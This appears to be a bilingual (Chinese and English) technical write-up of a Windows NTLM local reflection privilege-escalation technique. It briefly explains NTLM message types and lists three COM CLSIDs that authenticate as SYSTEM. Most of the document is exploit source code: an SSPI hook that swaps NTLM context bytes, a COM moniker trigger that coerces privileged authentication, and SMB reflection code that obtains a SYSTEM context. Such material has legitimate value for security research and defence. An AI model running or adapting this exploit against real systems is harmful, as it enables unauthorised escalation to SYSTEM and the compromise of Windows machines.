一般来说,在NTLM认证过程中,有三种消息(Type1, 2和3)。他们分别对应了客户端发起协商,服务端发送challenge以及客户端返回response的三个步骤。这些过程在windows操作系统上是通过一套叫做SSPI(Security Support Provider Interface)的接口来给应用使用的,认证过程对应用透明。
RemotePotato0 is a method for coercing privileged authentication on a target machine by taking advantage of standard COM marshaling. In our scenario, we discovered three interesting default CLSIDs that authenticate as SYSTEM: CLSID: {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8} The ActiveX Installer Service "AxInstSv" is available only on Windows 10/11. CLSID: {854A20FB-2D44-457D-992F-EF13785D2B51} The Printer Extensions and Notifications Service "PrintNotify" is available on Windows 10/11 and Server 2016/2019/2022. CLSID: {A9819296-E5B3-4E67-8226-5E72CE9E1FB7} The Universal Print Management Service "McpManagementService" is av ailable on Windows 11 and Server 2022.
SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) { SECURITY_STATUS status; unsignedchar* bufferPtr; if (ntlmType3Received) // we usually land here when the client want to alter the rpc context to perform the call with the integrity level. We want to avoid that. return SEC_E_INTERNAL_ERROR; if (pInput != NULL && pInput->cBuffers > 0) { for (unsignedlong i = 0; i < pInput->cBuffers; i++) { bufferPtr = (unsignedchar*)pInput->pBuffers[i].pvBuffer; if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') { if (bufferPtr[8] == 1) { // if the buffer is for ntlm type 1 printf("[*] Received DCOM NTLM type 1 authentication from the privileged client\n"); } if (bufferPtr[8] == 3) { // if the buffer is for ntlm type 3 printf("[*] Received DCOM NTLM type 3 authentication from the privileged client\n"); ntlmType3Received = TRUE; } } } } // --------------------------- 标记 上半部分 status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp); // -------------------------- 标记 下半部分 if (ntlmType3Received) SetEvent(event3); else { // here we swap the 2 contexts for performing the DCOM to SMB reflection if (pOutput != NULL && pOutput->cBuffers > 0) { for (unsignedlong i = 0; i < pOutput->cBuffers; i++) { bufferPtr = (unsignedchar*)pOutput->pBuffers[i].pvBuffer; if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') { if (bufferPtr[8] == 2) { // if the buffer is for ntlm type 2 memcpy(SystemContext, bufferPtr + NTLM_RESERVED_OFFSET, 8); SetEvent(event1); WaitForSingleObject(event2, INFINITE); // for local auth reflection we don't really need to relay the entire packet // swapping the context in the Reserved bytes is enough memcpy(bufferPtr + NTLM_RESERVED_OFFSET, UserContext, 8); printf("[+] RPC Server Auth Context swapped with the Current User\n"); } } } } } return status; }
voidPotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait) { IMoniker* monikerObj; IBindCtx* bindCtx; IUnknown* IUnknownObj1Ptr; RPC_STATUS rpcStatus; HRESULT result; PWCHAR objrefBuffer = (PWCHAR)CoTaskMemAlloc(DEFAULT_BUFLEN); char* objrefDecoded = (char*)CoTaskMemAlloc(DEFAULT_BUFLEN); DWORD objrefDecodedLen = DEFAULT_BUFLEN; // Init COM server InitComServer(); // we create a random IUnknown object as a placeholder to pass to the moniker IUnknownObj IUnknownObj1 = IUnknownObj(); IUnknownObj1.QueryInterface(IID_IUnknown, (void**)&IUnknownObj1Ptr); result = CreateObjrefMoniker(IUnknownObj1Ptr, &monikerObj); if (result != S_OK) { printf("[!] CreateObjrefMoniker failed with HRESULT %d\n", result); exit(-1); } CreateBindCtx(0, &bindCtx); monikerObj->GetDisplayName(bindCtx, NULL, (LPOLESTR*)&objrefBuffer); printf("[*] Objref Moniker Display Name = %S\n", objrefBuffer); // the moniker is in the format objref:[base64encodedobject]: so we skip the first 7 chars and the last colon char base64Decode(objrefBuffer + 7, (int)(wcslen(objrefBuffer) - 7 - 1), objrefDecoded, &objrefDecodedLen); // we copy the needed data to communicate with our local com server (this process) memcpy(gOxid, objrefDecoded + 32, 8); memcpy(gOid, objrefDecoded + 40, 8); memcpy(gIpid, objrefDecoded + 48, 16); // we register the port of our local com server rpcStatus = RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR)comPort, NULL); if (rpcStatus != S_OK) { printf("[!] RpcServerUseProtseqEp failed with rpc status code %d\n", rpcStatus); exit(-1); } // we register the auth info for NTLM on the COM server RpcServerRegisterAuthInfo(NULL, RPC_C_AUTHN_WINNT, NULL, NULL); result = UnmarshallIStorage(clsidStr); if (result == CO_E_BAD_PATH) { printf("[!] CLSID %S not found. Error Bad path to object. Exiting...\n", clsidStr); exit(-1); } if (hEventWait) WaitForSingleObject(hEventWait, 10000); IUnknownObj1Ptr->Release(); IUnknownObj1.Release(); bindCtx->Release(); monikerObj->Release(); CoTaskMemFree(objrefBuffer); CoTaskMemFree(objrefDecoded); CoUninitialize(); }
// in IStorageTrigger.c: HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) { // only gods know what is going on in this function // do not try to refactor this. If you are brave and wanna try you can start here --> https://thrysoee.dk/InsideCOM+/ch19e.htm short sec_len = 8; char remote_ip_mb[256]; wchar_t remoteBindings[] = L"127.0.0.1"; wcstombs(remote_ip_mb, remoteBindings, 256);
// here we receive the return status of the SMB authentication unsignedint* ntlmAuthStatus = (unsignedint*)(recBuffer + 12); if (*ntlmAuthStatus != 0) { printf("[!] SMB reflected DCOM authentication failed with status code 0x%x\n", *ntlmAuthStatus); ret = FALSE; } else { printf("[+] SMB reflected DCOM authentication succeeded!\n"); }
// here we do our magic for the context swapping pos = findNTLMBytes(recBuffer, recBufferLen); memcpy(&ntlmtType2[0], &recBuffer[pos], recBufferLen - pos); if (ntlmtType2[8] == 2) { memcpy(UserContext, &ntlmtType2[32], 8); WaitForSingleObject(event1, INFINITE); // for local auth reflection we don't really need to relay the entire packet // swapping the context in the Reserved bytes with the SYSTEM context is enough memcpy(&ntlmtType2[32], SystemContext, 8); memcpy(&recBuffer[pos], &ntlmtType2[0], recBufferLen - pos); printf("[+] SMB Client Auth Context swapped with SYSTEM \n"); } else { printf("[!] Authentication over SMB is not using NTLM. Exiting...\n"); return FALSE; } if (!GenClientContext((BYTE*)ntlmtType2, recBufferLen - pos, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)TargetNameSpn, hCred, hcText)) exit(-1); SetEvent(event2); WaitForSingleObject(event3, INFINITE); // ... lots of memcpy memcpy(finalPacket, netsess, 4); memcpy(finalPacket + 4, OutBuffer, start);